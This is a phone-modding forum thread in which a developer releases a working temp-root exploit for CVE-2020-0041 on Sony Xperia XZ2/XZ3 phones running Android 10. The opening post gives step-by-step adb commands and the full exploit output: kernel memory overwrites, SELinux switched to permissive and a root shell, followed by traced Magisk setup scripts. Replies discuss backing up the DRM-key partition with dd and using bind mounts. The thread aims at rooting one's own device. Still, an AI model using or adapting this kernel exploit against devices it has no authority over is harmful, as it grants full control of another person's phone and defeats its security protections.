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[XZ2/XZ2c/XZ2p/XZ3] temp root exploit via CVE-2020-0041 including magisk setup

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j4nn

Senior Member
Jan 4, 2012
1,227
2,404
temp root exploit for sony xperia XZ2/XZ2c/XZ2p/XZ3 with android 10 firmware
including temporal magisk setup from the exploit


The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
I have adapted the Pixel 3 specific exploit for kernel 4.9 that is used with sony TAMA platform phones running Android 10 with February 2020 security patch level.

SUPPORTED TARGETS
This has been tested only with xperia XZ2 H8216-52.1.A.0.618 target, but support for other targets have been implemented based on analysis of each kernel image from target firmware.
Please note, it is unlikely that any other fw version than those listed above would work.
The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.

USAGE HOWTO INCLUDING MAGISK SETUP
  • be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
  • enable developer mode options and in there adb debugging (eventually install adb drivers)
  • download the tama-mroot.zip with the exploit attached in this post
  • download Magisk-v20.4.zip from magisk releases page on github here
  • use 'adb push tama-mroot.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
  • unzip and prepare magisk setup with following commands in 'adb shell'
    Code:
    cd /data/local/tmp
    unzip tama-mroot.zip
    chmod 755 tama-mroot magisk-setup.sh magisk-start.sh
    ./magisk-setup.sh
  • get temp root and start magisk up with following commands in 'adb shell':
    Code:
    cd /data/local/tmp
    ./tama-mroot
    ./magisk-start.sh -1
    ./magisk-start.sh -2
    ./magisk-start.sh -3

If it worked, you should see something like this:

Code:
H8216:/ $ cd /data/local/tmp
H8216:/data/local/tmp $ ./tama-mroot                                                                                                                                                                            
[+] Detected H8216-52.1.A.0.618 target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd07822fa00
[+] file epitem at ffffffd102da6d00
[+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
[+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9dee01ebf8
[+] kernel base: ffffff9dece80000
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
[+] init_cred: ffffff9def02fcd0
[+] memstart_addr: 0xfffffff040000000
[+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
[+] Second level entry: ae419003 -> next table at ffffffd06e419000
[+] sysctl_table_root = ffffff9def05c710
[+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
[+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffd07822fa20
[+] epitem.prev = ffffffd07822fad8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1                                                                                                                                                    
+ FRESH=false
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2                                                                                                                                                    
+ FRESH=false
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=2
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ false
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=14148
+ '[' -z 14148 ']'
+ >/sbin/.magisk/escalate
+ echo 14148
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3                                                                                                                                                    
+ FRESH=false
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC=''
+ timeout=10
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=14165
+ '[' -n 14165 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp # id                                                                                                                                                                      
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
root_by_cve-2020-0041:/data/local/tmp # uname -a
Linux localhost 4.9.186-perf+ #1 SMP PREEMPT Fri Jan 17 01:22:05 2020 aarch64
root_by_cve-2020-0041:/data/local/tmp # getenforce                                                                                                                                                              
Permissive


Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.

Please be careful what you use the temp root for.
Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot image, can result with a not anymore booting phone.
This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions - you would need to unlock bootloader for that.
Some partitions might still be possible to modify - for example in case of sony xperia xz1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.

Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there. Backup of TA partition now works with tama-mroot avoiding 'Required key not available' you could experience with previously released tama-root.
There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup.
For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.

SOURCES
Exploit sources for all releases are available at my github here.

CREDITS
Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.

DONATIONS
If you like my work, you can donate using the Donate to Me button with several methods there.
Thank you very much to all who donate.

DOWNLOAD
 

Attachments

  • tama-root.zip
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  • tama-mroot.zip
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Last edited:

j4nn

Senior Member
Jan 4, 2012
1,227
2,404
CHANGELOG
  • 2020-05-14 : released initial version of tama-root (no magisk support, problem with 'Required key not available' returned from some commands)
  • 2020-05-22 : finally got magisk from temp root working including permission asking feature - released as tama-mroot.zip
 
Last edited:

teostar

Senior Member
May 30, 2013
300
54
Relative noob here, I have a few questions with temporary root,
1- can I remove preinstalled apps e.g. I want to remove the preinstalled FB app,would it reappear after a reboot?
2- would this wipe our phones?
3- would it affect the camera etc

Thanks in advance.
 

Mike7143

Senior Member
Jan 5, 2014
131
12
So who's gonna go first? I'm interested to know if an ad block app like adaway can be installed now that modifies the hosts files. Or can I use titanium backup to backup/restore an app+data? There was an app I used to use via Xposed that let YouTube play in background as well, perhaps I can backup that app from old phone and restore it on my xz2c?

Edit: tried it, it works on my XZ2C H8314 on Verizon. Not sure what to do with it though. Seems that it just gives me a shell with root, dunno how that helps me get an app installed that needs root like adaway unless somehow I figure out what adaway app does behind the scenes and do it manually through the root shell?
 
Last edited:

Mike7143

Senior Member
Jan 5, 2014
131
12
well that didn't work, i guess the hosts file is in /system/etc/ so if we cant modify anything in /system then i guess even just modifying the hosts file could break something?
 

j4nn

Senior Member
Jan 4, 2012
1,227
2,404
@Mike7143, to provide root access to apps, root manager like magisk is needed.
It can be started from an exploit (possibly with a bit limited functionality) as shown in this thread. Unfortunately that old magisk does not work with android 10.
I tried to start up latest magisk from the exploit, but it ended with magisk manager detected magisk root alright, but I could not make sending notifications from apps to ask magisk for root permission somehow.
So currently only the shell is available, allowing for example to backup still locked TA partition.
You can do small changes in /system, but if you would not get red triangle on boot, it would possibly revert the change.
You can modify stuff in /system on runtime "system less-ly" exactly like magisk does it though, using bind mounts.
 

SGH-i200

Senior Member
Aug 31, 2009
1,075
247
Some partitions might still be possible to modify - for example in case of Sony Xperia XZ1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.
Thanks for mentioning the VoLTE modem config on still locked XZ1 devices! Somehow I didn't read that in the XZ1 thread. Good to know! Maybe I won't unlock the bootloader of my backup XZ1, because adding VoLTE for my German telco provider Congstar to the stock firmware is enough for my use case.

Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there.
There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup. For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.
Too bad there is no possibility to restore the TA partition on the XZ2c yet. On the XZ1 this opened the door to real freedom! :)
 

Mike7143

Senior Member
Jan 5, 2014
131
12
...Good news is that I've managed to adapt the first stage and eventually have been able to backup TA partition still in locked state. But then it went south, phone complained about corruption or something, refusing to boot and just powered off with no way of recovery - except bootloader unlock, that allowed me to eventually fix it.

So... if I'm reading this right, even just backing up the TA partition on the XZ2C caused something to break, forcing you to unlock? I was thinking maybe I should figure out how to backup my TA partition as well just in case in the future there's a fix, but if it's going to break it by just backing it up, that's an issue as well.

---------- Post added at 11:52 AM ---------- Previous post was at 11:42 AM ----------

... I tried to start up latest magisk from the exploit, but it ended with magisk manager detected magisk root alright, but I could not make sending notifications from apps to ask magisk for root permission somehow.
So currently only the shell is available, allowing for example to backup still locked TA partition.
You can do small changes in /system, but if you would not get red triangle on boot, it would possibly revert the change.
You can modify stuff in /system on runtime "system less-ly" exactly like magisk does it though, using bind mounts.

So, basically all we have is temp root via adb shell. Doesn't seem that magisk works. I guess I'm not sure what you mean by "small" changes in /system, what is "small"? Coming from a 2013 Moto X developer edition that I could do anything with I'm really missing adaway and youtube adaway on my new XZ2C H8314. Not sure if modifying my hosts file would be considered small or not, and that doesn't take care of youtube adaway of which I'm not even sure how that works. DNS666 seems to be an alternative to adaway but it's not taking care of youtube.

Regarding modifying /system "system-lessly", I'll admit I'm a rookie when it comes to this stuff, I either have a lot to learn/read up on or wait for an easier to use app/workaround.

It seems like in your XZ1C post you and others were working on getting the XZ2C sorted out but since decided to go back and focus on the XZ1C?
 

j4nn

Senior Member
Jan 4, 2012
1,227
2,404
@brunos0, the exploit cannot work with .672 firmware, the kernel in it already contains the vulnerability fix.
There is the list of supported targets / fw versions in the OP...
I am not aware of any method that would allow you to re-lock unlocked xz2* phone.

@SGH-i200, yes, I believe it should be possible to temp root oreo running xz1, from it flash your pie's oem partition, modify it according to your needs and upgrade with newflasher to latest pie skipping flash of oem partition, getting you latest stock pie with modified oem...

Concerning TA restore on XZ2c (or any other tama platform phone): it actually _is_ possible to easily restore TA partition from locked state backup, returning your device key (aka drm keys) back.
But it somehow seems the firmware does not use it anyway for some reason. Unfortunately even kernel hiding bootloader unlock does not help like it did with xz1* phones.
So it might happen that someone discovers a way to make drm features work if you have the keys restored from locked TA backup...

@Mike7143, no, that is a misunderstanding... That linked post, where I describe my initial exploiting of xz2 - that has been completely different exploit. That exploit has been originally designed for xz1c, ported partially for xz2 and in the process of trying/testing/implementing it, something broke... It has nothing to do with just released CVE-2020-0041 based exploit for xz2* phones.
So this new exploit is perfectly safe, only doing changes in RAM of linux kernel to escalate to root user with selinux changed to permissive.
After a reboot all is gone, no root or anything left from the exploit...

So you can safely backup locked TA to preserve the device key (drm keys) for future use.

Concerning changes - simply forget changing /system or /vendor or kernel boot partition.
It is however possible to use bind mounts to make "changes" on runtime, but that requires some knowledge obviously.
Maybe I can fix setup of magisk from the temproot exploit, but no promises, spent already huge amount of time on that and getting out of ideas unfortunately.
 
Last edited:

Mike7143

Senior Member
Jan 5, 2014
131
12
Thanks @j4nn for the reply. So you're saying that simply backing up the TA partition now while on this version and have temp root access shouldn't cause the phone to break? If so, I suppose it's worthwhile to get it backed up in case there's ever a future solution to restore it and have the system recognize it. Is the below quote from your OP regarding temp root on XZ1C how I'd backup my TA partition on my XZ2C?

When renoroot is successful, you may use following commands in the root shell to backup the trim area partition:
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-locked.img
chown shell:shell TA-locked.img
sync
sync
And then try to read it out from the phone to your PC - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-locked.img

If so, seems pretty straight forward to backup the TA partition with my DRM keys!

Regarding systemless changes with bind mounts, I'll have to look into that. I found one post here that seems like it's just making a link to another location that perhaps might work, but perhaps even just swapping out a file for a link might not be safe. I'm probably better off just waiting for someone to make more user-friendly tools and then make donations vs. trying to learn on my own and risk breaking my device!

If I can find a cheap/broken screen H8314 I might be able to buy it if it'd help with development of getting the XZ2C to be unlocked/rooted and retaining all the Sony features. I plan on using this phone for a while just like I just traded my 2013 Moto X for the XZ2C in 2020!
 
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j4nn

Senior Member
Jan 4, 2012
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@Mike7143, yes, that's the way to back up TA even in case of XZ2* phones.
Here is an example to use bind mount to change hosts temporarily on runtime from a root shell:
Code:
akari:/ # cd /data/local/tmp
akari:/data/local/tmp # cp /system/etc/hosts .
akari:/data/local/tmp # mount -o bind hosts /system/etc/hosts
akari:/data/local/tmp # echo "127.0.0.1 some.url.com" >> /system/etc/hosts
akari:/data/local/tmp # cat /system/etc/hosts
127.0.0.1       localhost
::1             ip6-localhost
127.0.0.1 some.url.com
akari:/data/local/tmp #
as it is only a mount, the change is done in /data/local/tmp/hosts in fact, that can be seen like this:
Code:
akari:/data/local/tmp # umount /system/etc/hosts
akari:/data/local/tmp # cat /system/etc/hosts
127.0.0.1       localhost
::1             ip6-localhost
akari:/data/local/tmp # cat /data/local/tmp/hosts
127.0.0.1       localhost
::1             ip6-localhost
127.0.0.1 some.url.com
akari:/data/local/tmp #
 

j4nn

Senior Member
Jan 4, 2012
1,227
2,404
As it seems .618 fw versions get missing from xperifirm, please let me know if you need some - I still have following:
H8116_Customized IBE_1313-3189_52.1.A.0.618_R3C
H8166_Customized FR_1313-2540_52.1.A.0.618_R4C
H8216_Customized UK_1313-4679_52.1.A.0.618_R5C
H8266_Customized FR_1313-2481_52.1.A.0.618_R4C
H8296_Customized TW_1313-6119_52.1.A.0.618_R4C
H8314_Customized FR_1313-2468_52.1.A.0.618_R4C
H8324_Customized FR_1313-2469_52.1.A.0.618_R2C
H8416_Customized IBE_1316-6423_52.1.A.0.618_R5C
H9436_Customized FR_1316-3076_52.1.A.0.618_R6C
H9493_Customized HK_1316-2331_52.1.A.0.532_R2C
so I may upload it on request.
 

Mike7143

Senior Member
Jan 5, 2014
131
12
@Mike7143, you are right, it seems there is some limitation with the root permissions. I will check it. Probably would need some extension in the exploit.

Thanks for verifying that it wasn't something I'm not doing correctly! Just out of curiosity, I'm assuming that your XZ2C was on Android 10 and you had to unlock the BL to get it working again? Would you be able to provide a list of things that are now broken due to the unlock and loss of DRM keys so that folks like myself might be able to weigh whether or not we want to unlock? I'd really like to know exactly what I'm giving up, at least today on Android 10 for an unlocked BL so I can weigh the pros and cons. I'm not sure if you're familiar enough with the XZ2C and know what all features it had before and what's gone missing/broken after.

I can read lots about what's been broken and not on past versions of Android, but I'm not finding a lot of info yet on what's changed in Android 10, if anything. I have read that BL unlock on Android 10 doesn't break the camera anymore but it's unclear to me if reports are that the camera is no longer completely broken (green screen) but any Sony processing perks are gone, or if the camera and all the Sony stuff related to the camera and image processing are no longer affected.

Thanks!
 

j4nn

Senior Member
Jan 4, 2012
1,227
2,404
@Mike7143, my xz2 unlock has been done on 52.0.A.8.131, that is a pie firmware. That time (2019-10-03) android Q had not been available for xz2 yet.
So I cannot help you with those questions, sorry.
 

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    temp root exploit for sony xperia XZ2/XZ2c/XZ2p/XZ3 with android 10 firmware
    including temporal magisk setup from the exploit


    The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
    I have adapted the Pixel 3 specific exploit for kernel 4.9 that is used with sony TAMA platform phones running Android 10 with February 2020 security patch level.

    SUPPORTED TARGETS
    This has been tested only with xperia XZ2 H8216-52.1.A.0.618 target, but support for other targets have been implemented based on analysis of each kernel image from target firmware.
    Please note, it is unlikely that any other fw version than those listed above would work.
    The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.

    USAGE HOWTO INCLUDING MAGISK SETUP
    • be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
    • enable developer mode options and in there adb debugging (eventually install adb drivers)
    • download the tama-mroot.zip with the exploit attached in this post
    • download Magisk-v20.4.zip from magisk releases page on github here
    • use 'adb push tama-mroot.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
    • unzip and prepare magisk setup with following commands in 'adb shell'
      Code:
      cd /data/local/tmp
      unzip tama-mroot.zip
      chmod 755 tama-mroot magisk-setup.sh magisk-start.sh
      ./magisk-setup.sh
    • get temp root and start magisk up with following commands in 'adb shell':
      Code:
      cd /data/local/tmp
      ./tama-mroot
      ./magisk-start.sh -1
      ./magisk-start.sh -2
      ./magisk-start.sh -3

    If it worked, you should see something like this:

    Code:
    H8216:/ $ cd /data/local/tmp
    H8216:/data/local/tmp $ ./tama-mroot                                                                                                                                                                            
    [+] Detected H8216-52.1.A.0.618 target
    [+] Mapped 200000
    [+] selinux_enforcing before exploit: 1
    [+] pipe file: 0xffffffd07822fa00
    [+] file epitem at ffffffd102da6d00
    [+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
    [+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
    [+] Write done, should have arbitrary read now.
    [+] file operations: ffffff9dee01ebf8
    [+] kernel base: ffffff9dece80000
    [+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
    [+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
    [+] init_cred: ffffff9def02fcd0
    [+] memstart_addr: 0xfffffff040000000
    [+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
    [+] Second level entry: ae419003 -> next table at ffffffd06e419000
    [+] sysctl_table_root = ffffff9def05c710
    [+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
    [+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
    [+] Injected sysctl node!
    [+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Cleaned up sendmsg threads
    [+] epitem.next = ffffffd07822fa20
    [+] epitem.prev = ffffffd07822fad8
    [+] Launching privileged shell
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1                                                                                                                                                    
    + FRESH=false
    + '[' -1 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + ./magiskpolicy --live --magisk 'allow dumpstate * * *'
    Load policy from: /sys/fs/selinux/policy
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2                                                                                                                                                    
    + FRESH=false
    + '[' -2 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + STAGE=2
    + '[' 2 '=' 2 ']'
    + mount -t tmpfs -o 'mode=755' none /sbin
    + chcon u:object_r:rootfs:s0 /sbin
    + chmod 755 /sbin
    + cp -a magisk/boot_patch.sh /sbin
    + cp -a magisk/magiskboot /sbin
    + cp -a magisk/magiskinit64 /sbin
    + cp -a magisk/busybox /sbin
    + cp -a magisk/util_functions.sh /sbin
    + cd /sbin
    + chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
    + mkdir r
    + mount -o bind / r
    + cp -a r/sbin/. /sbin
    + umount r
    + rmdir r
    + mv magiskinit64 magiskinit
    + ./magiskinit -x magisk magisk
    + ln -s /sbin/magiskinit /sbin/magiskpolicy
    + ln -s /sbin/magiskinit /sbin/supolicy
    + false
    + chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
    + rm -f magiskboot util_functions.sh boot_patch.sh
    + ln -s /sbin/magisk /sbin/su
    + ln -s /sbin/magisk /sbin/resetprop
    + ln -s /sbin/magisk /sbin/magiskhide
    + mkdir /sbin/.magisk
    + chmod 755 /sbin/.magisk
    + >/sbin/.magisk/config
    + echo 'KEEPVERITY=true'
    + >>/sbin/.magisk/config
    + echo 'KEEPFORCEENCRYPT=true'
    + chmod 000 /sbin/.magisk/config
    + mkdir -p /sbin/.magisk/busybox
    + chmod 755 /sbin/.magisk/busybox
    + mv busybox /sbin/.magisk/busybox
    + mkdir -p /sbin/.magisk/mirror
    + chmod 000 /sbin/.magisk/mirror
    + mkdir -p /sbin/.magisk/block
    + chmod 000 /sbin/.magisk/block
    + mkdir -p /sbin/.magisk/modules
    + chmod 755 /sbin/.magisk/modules
    + mkdir -p /data/adb/modules
    + chmod 755 /data/adb/modules
    + mkdir -p /data/adb/post-fs-data.d
    + chmod 755 /data/adb/post-fs-data.d
    + mkdir -p /data/adb/service.d
    + chmod 755 /data/adb/service.d
    + chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
    + chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
    + /sbin/magisk --daemon
    client: launching new main daemon process
    + pidof magiskd
    + MP=14148
    + '[' -z 14148 ']'
    + >/sbin/.magisk/escalate
    + echo 14148
    + '[' -e /sbin/.magisk/escalate ']'
    + sleep 1
    + '[' -e /sbin/.magisk/escalate ']'
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3                                                                                                                                                    
    + FRESH=false
    + '[' -3 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + STAGE=3
    + '[' 3 '=' 2 ']'
    + >/sbin/.magisk/magiskd
    + echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
    + chmod 755 /sbin/.magisk/magiskd
    + chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
    + getprop init.svc.dumpstate
    + SVC=''
    + timeout=10
    + '[' 10 -gt 0 ']'
    + stop dumpstate
    + killall -9 magiskd
    + stop dumpstate
    + mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
    + start dumpstate
    + timeout=10
    + '[' 10 -le 0 ']'
    + pidof magiskd
    + MP=14165
    + '[' -n 14165 ']'
    + break
    + stop dumpstate
    + sleep 1
    + umount /system/bin/dumpstate
    + rm -f /sbin/.magisk/magiskd
    + '[' '' '=' running ']'
    + rm -f /dev/.magisk_unblock
    + /sbin/magisk --post-fs-data
    + timeout=10
    + '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
    + sleep 1
    + timeout=9
    + '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
    + /sbin/magisk --service
    + sleep 1
    + /sbin/magisk --boot-complete
    + chmod 751 /sbin
    root_by_cve-2020-0041:/data/local/tmp # id                                                                                                                                                                      
    uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
    root_by_cve-2020-0041:/data/local/tmp # uname -a
    Linux localhost 4.9.186-perf+ #1 SMP PREEMPT Fri Jan 17 01:22:05 2020 aarch64
    root_by_cve-2020-0041:/data/local/tmp # getenforce                                                                                                                                                              
    Permissive


    Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
    The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.

    Please be careful what you use the temp root for.
    Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot image, can result with a not anymore booting phone.
    This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions - you would need to unlock bootloader for that.
    Some partitions might still be possible to modify - for example in case of sony xperia xz1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.

    Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there. Backup of TA partition now works with tama-mroot avoiding 'Required key not available' you could experience with previously released tama-root.
    There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup.
    For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.

    SOURCES
    Exploit sources for all releases are available at my github here.

    CREDITS
    Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.

    DONATIONS
    If you like my work, you can donate using the Donate to Me button with several methods there.
    Thank you very much to all who donate.

    DOWNLOAD
    7
    implemented magisk setup from temproot

    finally got magisk from temp root working including permission asking feature - released as tama-mroot.zip - get it here
    5
    CHANGELOG
    • 2020-05-14 : released initial version of tama-root (no magisk support, problem with 'Required key not available' returned from some commands)
    • 2020-05-22 : finally got magisk from temp root working including permission asking feature - released as tama-mroot.zip
    4
    So you did it again! You are insane mate!!
    Respect.
    4
    As it seems .618 fw versions get missing from xperifirm, please let me know if you need some - I still have following:
    H8116_Customized IBE_1313-3189_52.1.A.0.618_R3C
    H8166_Customized FR_1313-2540_52.1.A.0.618_R4C
    H8216_Customized UK_1313-4679_52.1.A.0.618_R5C
    H8266_Customized FR_1313-2481_52.1.A.0.618_R4C
    H8296_Customized TW_1313-6119_52.1.A.0.618_R4C
    H8314_Customized FR_1313-2468_52.1.A.0.618_R4C
    H8324_Customized FR_1313-2469_52.1.A.0.618_R2C
    H8416_Customized IBE_1316-6423_52.1.A.0.618_R5C
    H9436_Customized FR_1316-3076_52.1.A.0.618_R6C
    H9493_Customized HK_1316-2331_52.1.A.0.532_R2C
    so I may upload it on request.